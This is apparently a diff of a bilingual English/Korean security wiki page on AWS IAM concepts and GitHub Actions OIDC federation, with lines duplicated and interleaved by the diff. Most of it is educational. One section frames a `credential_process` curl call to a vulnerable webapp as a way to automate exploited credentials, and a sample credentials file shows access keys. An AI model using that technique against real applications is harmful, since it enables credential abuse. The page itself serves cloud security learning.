You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
사용자 그룹의 몇 가지 중요한 특성은 다음과 같습니다:
Here are some important characteristics of user groups:
- 사용자 **그룹**은 **많은 사용자**를 **포함할 수** 있으며, **사용자**는 **여러 그룹에 속할 수** 있습니다.
- **사용자 그룹은 중첩될 수 없습니다**; 사용자만 포함할 수 있으며, 다른 사용자 그룹은 포함할 수 없습니다.
- **AWS 계정의 모든 사용자를 자동으로 포함하는 기본 사용자 그룹은 없습니다**. 그런 사용자 그룹을 원하면, 직접 생성하고 각 새로운 사용자를 할당해야 합니다.
- AWS 계정의 IAM 리소스 수와 크기, 예를 들어 그룹 수와 사용자가 속할 수 있는 그룹 수는 제한되어 있습니다. 자세한 내용은 [IAM 및 AWS STS 할당량](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)을 참조하세요.
- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
- **User groups can't be nested**; they can contain only users, not other user groups.
- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
### [IAM 역할](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
IAM **역할**은 **사용자**와 매우 **유사**하며, AWS에서 **무엇을 할 수 있고 할 수 없는지를 결정하는 권한 정책을 가진 **신원**입니다. 그러나 역할은 **자격 증명**(비밀번호 또는 액세스 키)이 없습니다. 역할은 한 사람과 고유하게 연결되는 것이 아니라, **필요한 사람(그리고 충분한 권한이 있는 사람)**이 **가정할 수 있도록** 설계되었습니다. **IAM 사용자는 특정 작업을 위해** 일시적으로 다른 권한을 취득하기 위해 역할을 **가정할 수 있습니다**. 역할은 IAM 대신 외부 ID 공급자를 사용하여 로그인하는 [**연합 사용자**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)에게 **할당될 수 있습니다**.
An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
IAM 역할은 **두 가지 유형의 정책**으로 구성됩니다: **비밀 정책**(비어 있을 수 없음)으로 **누가 역할을 가정할 수 있는지를 정의**하고, **권한 정책**(비어 있을 수 없음)으로 **무엇에 접근할 수 있는지를 정의**합니다.
An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
#### AWS 보안 토큰 서비스 (STS)
#### AWS Security Token Service (STS)
AWS 보안 토큰 서비스 (STS)는 **임시, 제한된 권한 자격 증명**의 **발급을 용이하게 하는** 웹 서비스입니다. 이는 특히 다음을 위해 맞춤화되어 있습니다:
AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for:
### [IAM의 임시 자격 증명](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
**임시 자격 증명은 주로 IAM 역할과 함께 사용되지만**, 다른 용도도 있습니다. 표준 IAM 사용자보다 더 제한된 권한 세트를 가진 임시 자격 증명을 요청할 수 있습니다. 이는 **더 제한된 자격 증명으로 허용되지 않는 작업을 실수로 수행하는 것을 방지합니다**. 임시 자격 증명의 장점은 설정된 기간 후에 자동으로 만료된다는 것입니다. 자격 증명이 유효한 기간을 제어할 수 있습니다.
**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid.
### 정책
### Policies
#### 정책 권한
#### Policy Permissions
권한을 할당하는 데 사용됩니다. 두 가지 유형이 있습니다:
Are used to assign permissions. There are 2 types:
- AWS managed policies (preconfigured by AWS)
- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own..
By **default access** is **denied**, access will be granted if an explicit role has been specified.\
If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default).
- AWS 관리 정책 (AWS에서 미리 구성한 것)
- 고객 관리 정책: 사용자가 구성한 것. AWS 관리 정책을 기반으로 정책을 생성할 수 있습니다(그 중 하나를 수정하고 자신의 것을 생성), 정책 생성기(권한을 부여하고 거부하는 데 도움을 주는 GUI 보기)를 사용하거나 직접 작성할 수 있습니다.
기본적으로 **접근이 거부됩니다**, 명시적인 역할이 지정된 경우에만 접근이 허용됩니다.\
**단일 "거부"가 존재하면 "허용"을 무시합니다**, AWS 계정의 루트 보안 자격 증명을 사용하는 요청은 기본적으로 허용됩니다.
```javascript
{
"Version": "2012-10-17", //Version of the policy
"Statement": [ //Main element, there can be more than 1 entry in this array
{
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
"Effect": "Allow", //Allow or deny
"Action": [ //Actions that will be allowed or denied
"ec2:AttachVolume",
"ec2:DetachVolume"
],
"Resource": [ //Resource the action and effect will be applied to
"arn:aws:ec2:*:*:volume/*",
"arn:aws:ec2:*:*:instance/*"
],
"Condition": { //Optional element that allow to control when the permission will be effective
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
}
}
]
"Version": "2012-10-17", //Version of the policy
"Statement": [ //Main element, there can be more than 1 entry in this array
{
"Sid": "Stmt32894y234276923" //Unique identifier (optional)
"Effect": "Allow", //Allow or deny
"Action": [ //Actions that will be allowed or denied
"ec2:AttachVolume",
"ec2:DetachVolume"
],
"Resource": [ //Resource the action and effect will be applied to
"arn:aws:ec2:*:*:volume/*",
"arn:aws:ec2:*:*:instance/*"
],
"Condition": { //Optional element that allow to control when the permission will be effective
"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"}
}
}
]
}
```
[전 세계에서 모든 서비스의 조건으로 사용할 수 있는 필드는 여기에서 문서화되어 있습니다](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
[서비스별로 조건으로 사용할 수 있는 특정 필드는 여기에서 문서화되어 있습니다](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
The [global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
The [specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
#### 인라인 정책
#### Inline Policies
이러한 정책은 **사용자, 그룹 또는 역할에 직접 할당**됩니다. 따라서 다른 사용자가 사용할 수 있는 정책 목록에는 나타나지 않습니다.\
인라인 정책은 **정책과 적용되는 정체성 간의 엄격한 일대일 관계를 유지**하고자 할 때 유용합니다. 예를 들어, 정책의 권한이 의도된 정체성 외의 다른 정체성에 우연히 할당되지 않도록 하고 싶습니다. 인라인 정책을 사용할 때, 정책의 권한은 잘못된 정체성에 우연히 연결될 수 없습니다. 또한, AWS Management Console을 사용하여 해당 정체성을 삭제할 때, 정체성에 내장된 정책도 함께 삭제됩니다. 이는 그것들이 주체 엔티티의 일부이기 때문입니다.
This kind of policies are **directly assigned** to a user, group or role. Then, they do not appear in the Policies list as any other one can use them.\
Inline policies are useful if you want to **maintain a strict one-to-one relationship between a policy and the identity** that it's applied to. For example, you want to be sure that the permissions in a policy are not inadvertently assigned to an identity other than the one they're intended for. When you use an inline policy, the permissions in the policy cannot be inadvertently attached to the wrong identity. In addition, when you use the AWS Management Console to delete that identity, the policies embedded in the identity are deleted as well. That's because they are part of the principal entity.
#### 리소스 버킷 정책
#### Resource Bucket Policies
이것은 **리소스**에서 정의할 수 있는 **정책**입니다. **모든 AWS 리소스가 이를 지원하는 것은 아닙니다**.
These are **policies** that can be defined in **resources**. **Not all resources of AWS supports them**.
주체가 이에 대한 명시적 거부가 없고, 리소스 정책이 그들에게 접근을 허용하면, 그들은 허용됩니다.
If a principal does not have an explicit deny on them, and a resource policy grants them access, then they are allowed.
### IAM 경계
### IAM Boundaries
IAM 경계는 **사용자 또는 역할이 접근할 수 있는 권한을 제한하는 데 사용**될 수 있습니다. 이렇게 하면, **다른 정책**에 의해 사용자에게 다른 권한 세트가 부여되더라도, 그가 이를 사용하려고 할 경우 작업이 **실패**합니다.
IAM boundaries can be used to **limit the permissions a user or role should have access to**. This way, even if a different set of permissions are granted to the user by a **different policy** the operation will **fail** if he tries to use them.
경계는 사용자에게 첨부된 정책으로, **사용자 또는 역할이 가질 수 있는 최대 권한 수준을 나타냅니다**. 따라서 **사용자가 관리자 접근 권한을 가지고 있더라도**, 경계가 그가 S· 버킷만 읽을 수 있다고 나타내면, 그것이 그가 할 수 있는 최대입니다.
A boundary is just a policy attached to a user which **indicates the maximum level of permissions the user or role can have**. So, **even if the user has Administrator access**, if the boundary indicates he can only read S· buckets, that's the maximum he can do.
**이것**과 **SCP** 및 **최소 권한 원칙**을 따르는 것은 사용자가 필요한 것보다 더 많은 권한을 가지지 않도록 제어하는 방법입니다.
**This**, **SCPs** and **following the least privilege** principle are the ways to control that users doesn't have more permissions than the ones he needs.
### 세션 정책
### Session Policies
A session policy is a **policy set when a role is assumed** somehow. This will be like an **IAM boundary for that session**: This means that the session policy doesn't grant permissions but **restrict them to the ones indicated in the policy** (being the max permissions the ones the role has).
This is useful for **security measures**: When an admin is going to assume a very privileged role he could restrict the permission to only the ones indicated in the session policy in case the session gets compromised.
세션 정책은 **역할이 가정될 때 설정되는 정책**입니다. 이는 해당 세션에 대한 **IAM 경계**와 같습니다: 즉, 세션 정책은 권한을 부여하지 않지만 **정책에 명시된 권한으로 제한합니다**(역할이 가진 최대 권한이 됩니다).
이는 **보안 조치**에 유용합니다: 관리자가 매우 특권이 있는 역할을 가정할 때, 세션이 손상될 경우 세션 정책에 명시된 권한만으로 제한할 수 있습니다.
```bash
aws sts assume-role \
--role-arn <value> \
--role-session-name <value> \
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
[--policy <file://policy.json>]
--role-arn <value> \
--role-session-name <value> \
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
[--policy <file://policy.json>]
```
기본적으로 **AWS는 세션을 생성할 때 세션 정책을 추가할 수 있습니다**. 예를 들어, [인증되지 않은 cognito 가정 역할](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)에서는 기본적으로 (향상된 인증을 사용하여) AWS가 **세션 정책이 포함된 세션 자격 증명**을 생성하여 해당 세션이 접근할 수 있는 서비스의 범위를 제한합니다 [**다음 목록으로**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
Note that by default **AWS might add session policies to sessions** that are going to be generated because of third reasons. For example, in [unauthenticated cognito assumed roles](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) by default (using enhanced authentication), AWS will generate **session credentials with a session policy** that limits the services that session can access [**to the following list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
따라서, 어느 시점에 "... 세션 정책이 ...을 허용하지 않기 때문에"라는 오류가 발생하고 역할이 해당 작업을 수행할 수 있는 경우, **세션 정책이 이를 방지하고 있기 때문입니다**.
Therefore, if at some point you face the error "... because no session policy allows the ...", and the role has access to perform the action, it's because **there is a session policy preventing it**.
### 아이덴티티 연합
### Identity Federation
아이덴티티 연합은 **AWS 외부의 아이덴티티 제공자에서 오는 사용자들이** AWS 리소스에 안전하게 접근할 수 있도록 하며, 유효한 IAM 사용자 계정의 AWS 사용자 자격 증명을 제공할 필요가 없습니다.\
아이덴티티 제공자의 예로는 귀사의 **Microsoft Active Directory** (via **SAML**) 또는 **OpenID** 서비스 (예: **Google**)가 있습니다. 연합된 접근은 그 안의 사용자들이 AWS에 접근할 수 있도록 합니다.
Identity federation **allows users from identity providers which are external** to AWS to access AWS resources securely without having to supply AWS user credentials from a valid IAM user account.\
An example of an identity provider can be your own corporate **Microsoft Active Directory** (via **SAML**) or **OpenID** services (like **Google**). Federated access will then allow the users within it to access AWS.
이 신뢰를 구성하기 위해 **IAM 아이덴티티 제공자 (SAML 또는 OAuth)**가 생성되어 **다른 플랫폼을 신뢰**합니다. 그런 다음, 최소한 하나의 **IAM 역할이 아이덴티티 제공자에 (신뢰하는) 할당됩니다**. 신뢰된 플랫폼의 사용자가 AWS에 접근하면, 언급된 역할로 접근하게 됩니다.
To configure this trust, an **IAM Identity Provider is generated (SAML or OAuth)** that will **trust** the **other platform**. Then, at least one **IAM role is assigned (trusting) to the Identity Provider**. If a user from the trusted platform access AWS, he will be accessing as the mentioned role.
However, you will usually want to give a **different role depending on the group of the user** in the third party platform. Then, several **IAM roles can trust** the third party Identity Provider and the third party platform will be the one allowing users to assume one role or the other.
그러나 일반적으로 **제3자 플랫폼의 사용자 그룹에 따라 다른 역할을 부여하고 싶어할 것입니다**. 그러면 여러 **IAM 역할이 제3자 아이덴티티 제공자를 신뢰할 수 있으며**, 제3자 플랫폼이 사용자가 하나의 역할 또는 다른 역할을 가정하도록 허용하게 됩니다.
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
### IAM Identity Center
### IAM 아이덴티티 센터
AWS IAM Identity Center (successor to AWS Single Sign-On) expands the capabilities of AWS Identity and Access Management (IAM) to provide a **central plac**e that brings together **administration of users and their access to AWS** accounts and cloud applications.
AWS IAM 아이덴티티 센터 (AWS Single Sign-On의 후속 제품)는 AWS 아이덴티티 및 접근 관리 (IAM)의 기능을 확장하여 **사용자 및 그들의 AWS** 계정 및 클라우드 애플리케이션에 대한 접근을 **중앙에서 관리할 수 있는 장소**를 제공합니다.
The login domain is going to be something like `<user_input>.awsapps.com`.
로그인 도메인은 `<user_input>.awsapps.com`과 같은 형식이 될 것입니다.
To login users, there are 3 identity sources that can be used:
사용자를 로그인시키기 위해 사용할 수 있는 3가지 아이덴티티 소스가 있습니다:
- Identity Center Directory: Regular AWS users
- Active Directory: Supports different connectors
- External Identity Provider: All users and groups come from an external Identity Provider (IdP)
- 아이덴티티 센터 디렉토리: 일반 AWS 사용자
- 액티브 디렉토리: 다양한 커넥터 지원
- 외부 아이덴티티 제공자: 모든 사용자 및 그룹이 외부 아이덴티티 제공자 (IdP)에서 옵니다.
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
In the simplest case of Identity Center directory, the **Identity Center will have a list of users & groups** and will be able to **assign policies** to them to **any of the accounts** of the organization.
아이덴티티 센터 디렉토리의 가장 간단한 경우, **아이덴티티 센터는 사용자 및 그룹 목록을 가지고** 있으며, **정책을 할당**하여 **조직의 모든 계정**에 적용할 수 있습니다.
In order to give access to a Identity Center user/group to an account a **SAML Identity Provider trusting the Identity Center will be created**, and a **role trusting the Identity Provider with the indicated policies will be created** in the destination account.
아이덴티티 센터 사용자/그룹에게 계정에 대한 접근을 부여하기 위해 **아이덴티티 센터를 신뢰하는 SAML 아이덴티티 제공자가 생성되고**, **지정된 정책을 가진 아이덴티티 제공자를 신뢰하는 역할이 대상 계정에 생성됩니다**.
#### AwsSSOInlinePolicy
It's possible to **give permissions via inline policies to roles created via IAM Identity Center**. The roles created in the accounts being given **inline policies in AWS Identity Center** will have these permissions in an inline policy called **`AwsSSOInlinePolicy`**.
**IAM 아이덴티티 센터를 통해 생성된 역할에 인라인 정책을 통해 권한을 부여하는 것이 가능합니다**. AWS 아이덴티티 센터에서 **인라인 정책을 가진 계정에서 생성된 역할**은 **`AwsSSOInlinePolicy`**라는 인라인 정책에서 이러한 권한을 가집니다.
Therefore, even if you see 2 roles with an inline policy called **`AwsSSOInlinePolicy`**, it **doesn't mean it has the same permissions**.
따라서, **`AwsSSOInlinePolicy`**라는 인라인 정책을 가진 2개의 역할을 보더라도, **동일한 권한을 가지고 있다는 의미는 아닙니다**.
### Cross Account Trusts and Roles
### 크로스 계정 신뢰 및 역할
**A user** (trusting) can create a Cross Account Role with some policies and then, **allow another user** (trusted) to **access his account** but only **having the access indicated in the new role policies**. To create this, just create a new Role and select Cross Account Role. Roles for Cross-Account Access offers two options. Providing access between AWS accounts that you own, and providing access between an account that you own and a third party AWS account.\
It's recommended to **specify the user who is trusted and not put some generic thing** because if not, other authenticated users like federated users will be able to also abuse this trust.
**사용자** (신뢰하는)는 일부 정책을 가진 크로스 계정 역할을 생성한 다음, **다른 사용자** (신뢰받는)가 **그의 계정에 접근할 수 있도록 허용하지만, 오직 **새 역할 정책에 명시된 접근만 허용합니다**. 이를 생성하려면, 새 역할을 만들고 크로스 계정 역할을 선택하면 됩니다. 크로스 계정 접근을 위한 역할은 두 가지 옵션을 제공합니다. 소유한 AWS 계정 간의 접근을 제공하거나, 소유한 계정과 제3자 AWS 계정 간의 접근을 제공합니다.\
신뢰받는 사용자를 **구체적으로 지정하고 일반적인 것을 사용하지 않는 것이 좋습니다**. 그렇지 않으면, 연합된 사용자와 같은 다른 인증된 사용자가 이 신뢰를 남용할 수 있습니다.
### AWS Simple AD
Not supported:
지원되지 않음:
- Trust Relations
- AD Admin Center
- Full PS API support
- AD Recycle Bin
- Group Managed Service Accounts
- Schema Extensions
- No Direct access to OS or Instances
- 신뢰 관계
- AD 관리 센터
- 전체 PS API 지원
- AD 재활용 빈
- 그룹 관리 서비스 계정
- 스키마 확장
- OS 또는 인스턴스에 대한 직접 접근 없음
#### Web Federation or OpenID Authentication
#### 웹 연합 또는 OpenID 인증
The app uses the AssumeRoleWithWebIdentity to create temporary credentials. However, this doesn't grant access to the AWS console, just access to resources within AWS.
앱은 AssumeRoleWithWebIdentity를 사용하여 임시 자격 증명을 생성합니다. 그러나 이는 AWS 콘솔에 대한 접근을 부여하지 않으며, AWS 내의 리소스에 대한 접근만 부여합니다.
### Other IAM options
### 기타 IAM 옵션
- You can **set a password policy setting** options like minimum length and password requirements.
- You can **download "Credential Report"** with information about current credentials (like user creation time, is password enabled...). You can generate a credential report as often as once every **four hours**.
- **비밀번호 정책 설정**을 통해 최소 길이 및 비밀번호 요구 사항과 같은 옵션을 설정할 수 있습니다.
- 현재 자격 증명에 대한 정보 (예: 사용자 생성 시간, 비밀번호 활성화 여부 등)를 포함한 **"자격 증명 보고서"를 다운로드할 수 있습니다**. 자격 증명 보고서는 최대 **4시간마다** 생성할 수 있습니다.
AWS Identity and Access Management (IAM) provides **fine-grained access control** across all of AWS. With IAM, you can specify **who can access which services and resources**, and under which conditions. With IAM policies, you manage permissions to your workforce and systems to **ensure least-privilege permissions**.
AWS 아이덴티티 및 접근 관리 (IAM)는 AWS 전반에 걸쳐 **세밀한 접근 제어**를 제공합니다. IAM을 사용하면 **누가 어떤 서비스와 리소스에 접근할 수 있는지**, 그리고 어떤 조건에서 접근할 수 있는지를 지정할 수 있습니다. IAM 정책을 통해, 인력과 시스템에 대한 권한을 관리하여 **최소 권한 원칙**을 보장합니다.
### IAM ID Prefixes
### IAM ID 접두사
In [**this page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) you can find the **IAM ID prefixe**d of keys depending on their nature:
[**이 페이지**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids)에서 키의 성격에 따라 **IAM ID 접두사**를 찾을 수 있습니다:
| Identifier Code | Description |
| 식별자 코드 | 설명 |
| --------------- | ----------------------------------------------------------------------------------------------------------- |
| ABIA | [AWS STS service bearer token](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ABIA | [AWS STS 서비스 베어러 토큰](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
| ACCA | Context-specific credential |
| AGPA | User group |
| AIDA | IAM user |
| AIPA | Amazon EC2 instance profile |
| AKIA | Access key |
| ANPA | Managed policy |
| ANVA | Version in a managed policy |
| APKA | Public key |
| AROA | Role |
| ASCA | Certificate |
| ASIA | [Temporary (AWS STS) access key IDs](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) use this prefix, but are unique only in combination with the secret access key and the session token. |
| ACCA | 컨텍스트 특정 자격 증명 |
| AGPA | 사용자 그룹 |
| AIDA | IAM 사용자 |
| AIPA | Amazon EC2 인스턴스 프로필 |
| AKIA | 액세스 키 |
| ANPA | 관리형 정책 |
| ANVA | 관리형 정책의 버전 |
| APKA | 공개 키 |
| AROA | 역할 |
| ASCA | 인증서 |
| ASIA | [임시 (AWS STS) 액세스 키 ID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)는 이 접두사를 사용하지만, 비밀 액세스 키 및 세션 토큰과 조합하여만 고유합니다. |
### Recommended permissions to audit accounts
### 계정 감사에 권장되는 권한
The following privileges grant various read access of metadata:
다양한 메타데이터에 대한 읽기 접근을 부여하는 다음 권한:
- `arn:aws:iam::aws:policy/SecurityAudit`
- `arn:aws:iam::aws:policy/job-function/ViewOnlyAccess`
@@ -356,14 +342,13 @@ The following privileges grant various read access of metadata:
- `directconnect:DescribeConnections`
- `dynamodb:ListTables`
## Misc
## 기타
### CLI Authentication
In order for a regular user authenticate to AWS via CLI you need to have **local credentials**. By default you can configure them **manually** in `~/.aws/credentials` or by **running** `aws configure`.\
In that file you can have more than one profile, if **no profile** is specified using the **aws cli**, the one called **`[default]`** in that file will be used.\
Example of credentials file with more than 1 profile:
### CLI 인증
일반 사용자가 CLI를 통해 AWS에 인증하기 위해서는 **로컬 자격 증명**이 필요합니다. 기본적으로 `~/.aws/credentials`에서 **수동으로** 구성하거나 **`aws configure`를 실행하여** 구성할 수 있습니다.\
해당 파일에는 여러 프로필을 가질 수 있으며, **프로필**이 지정되지 않은 경우 **aws cli**를 사용할 때 해당 파일의 **`[default]`**라는 이름의 프로필이 사용됩니다.\
여러 프로필이 있는 자격 증명 파일의 예:
```
[default]
aws_access_key_id = AKIA5ZDCUJHF83HDTYUT
@@ -374,12 +359,10 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
다른 **AWS 계정**에 접근해야 하고 귀하의 프로필이 **해당 계정 내에서 역할을 가정할 수 있는 권한**을 부여받았다면, 매번 수동으로 STS를 호출할 필요가 없습니다 (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) 및 자격 증명을 구성할 필요가 없습니다.
If you need to access **different AWS accounts** and your profile was given access to **assume a role inside those accounts**, you don't need to call manually STS every time (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) and configure the credentials.
You can use the `~/.aws/config` file to[ **indicate which roles to assume**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), and then use the `--profile` param as usual (the `assume-role` will be performed in a transparent way for the user).\
A config file example:
`~/.aws/config` 파일을 사용하여 [**가정할 역할을 지정**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html)할 수 있으며, 그 후에는 평소처럼 `--profile` 매개변수를 사용할 수 있습니다 (사용자에게는 `assume-role`이 투명하게 수행됩니다).\
구성 파일 예:
```
[profile acc2]
region=eu-west-2
@@ -388,35 +371,29 @@ role_session_name = <session_name>
source_profile = <profile_with_assume_role>
sts_regional_endpoints = regional
```
With this config file you can then use aws cli like:
이 구성 파일을 사용하면 aws cli를 다음과 같이 사용할 수 있습니다:
```
aws --profile acc2 ...
```
비슷한 것을 **브라우저**용으로 찾고 있다면 **확장 프로그램** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)를 확인해 보세요.
If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
#### Automating temporary credentials
If you are exploiting an application which generates temporary credentials, it can be tedious updating them in your terminal every few minutes when they expire. This can be fixed using a `credential_process` directive in the config file. For example, if you have some vulnerable webapp, you could do:
#### 임시 자격 증명 자동화
임시 자격 증명을 생성하는 애플리케이션을 악용하는 경우, 만료될 때마다 몇 분마다 터미널에서 이를 업데이트하는 것이 번거로울 수 있습니다. 이는 구성 파일에 `credential_process` 지시어를 사용하여 해결할 수 있습니다. 예를 들어, 취약한 웹앱이 있다면 다음과 같이 할 수 있습니다:
```toml
[victim]
credential_process = curl -d 'PAYLOAD' https://some-site.com
```
Note that credentials _must_ be returned to STDOUT in the following format:
자격 증명은 다음 형식으로 STDOUT에 반환되어야 합니다:
```json
{
"Version": 1,
"AccessKeyId": "an AWS access key",
"SecretAccessKey": "your AWS secret access key",
"SessionToken": "the AWS session token for temporary credentials",
"Expiration": "ISO8601 timestamp when the credentials expire"
}
"Version": 1,
"AccessKeyId": "an AWS access key",
"SecretAccessKey": "your AWS secret access key",
"SessionToken": "the AWS session token for temporary credentials",
"Expiration": "ISO8601 timestamp when the credentials expire"
}
```
## References
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)

View File

@@ -4,84 +4,81 @@
## SAML
For info about SAML please check:
SAML에 대한 정보는 다음을 확인하세요:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
{{#endref}}
In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
**SAML을 통한 Identity Federation**을 구성하려면 **이름**과 모든 SAML 구성(**엔드포인트**, **공개 키가 포함된 인증서**)이 포함된 **메타데이터 XML**을 제공하면 됩니다.
## OIDC - Github Actions Abuse
In order to add a github action as Identity provider:
1. For _Provider type_, select **OpenID Connect**.
2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
3. Click on _Get thumbprint_ to get the thumbprint of the provider
4. For _Audience_, enter `sts.amazonaws.com`
5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
- ```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:sub": [
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
],
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
```
6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
8. Finally use a github action to configure the AWS creds to be used by the workflow:
Identity provider로 github action을 추가하려면:
1. _Provider type_에서 **OpenID Connect**를 선택합니다.
2. _Provider URL_에 `https://token.actions.githubusercontent.com`를 입력합니다.
3. _Get thumbprint_를 클릭하여 provider의 thumbprint를 가져옵니다.
4. _Audience_에 `sts.amazonaws.com`을 입력합니다.
5. github action이 필요로 하는 **권한**과 provider를 신뢰하는 **신뢰 정책**을 가진 **새 역할**을 생성합니다:
- ```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:sub": [
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
],
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
}
}
}
]
}
```
6. 이전 정책에서 특정 **트리거**로 **조직**의 **저장소**에서 **브랜치**만 허가된 것을 주목하세요.
7. github action이 **가장할** 수 있는 **역할**의 **ARN**은 github action이 알아야 할 "비밀"이므로, **환경** 내의 **비밀**에 저장합니다.
8. 마지막으로, 워크플로우에서 사용할 AWS 자격 증명을 구성하기 위해 github action을 사용합니다:
```yaml
name: "test AWS Access"
# The workflow should only trigger on pull requests to the main branch
on:
pull_request:
branches:
- main
pull_request:
branches:
- main
# Required to get the ID Token that will be used for OIDC
permissions:
id-token: write
contents: read # needed for private repos to checkout
id-token: write
contents: read # needed for private repos to checkout
jobs:
aws:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3
aws:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v3
- name: Configure AWS Credentials
uses: aws-actions/configure-aws-credentials@v1
with:
aws-region: eu-west-1
role-to-assume:${{ secrets.READ_ROLE }}
role-session-name: OIDCSession
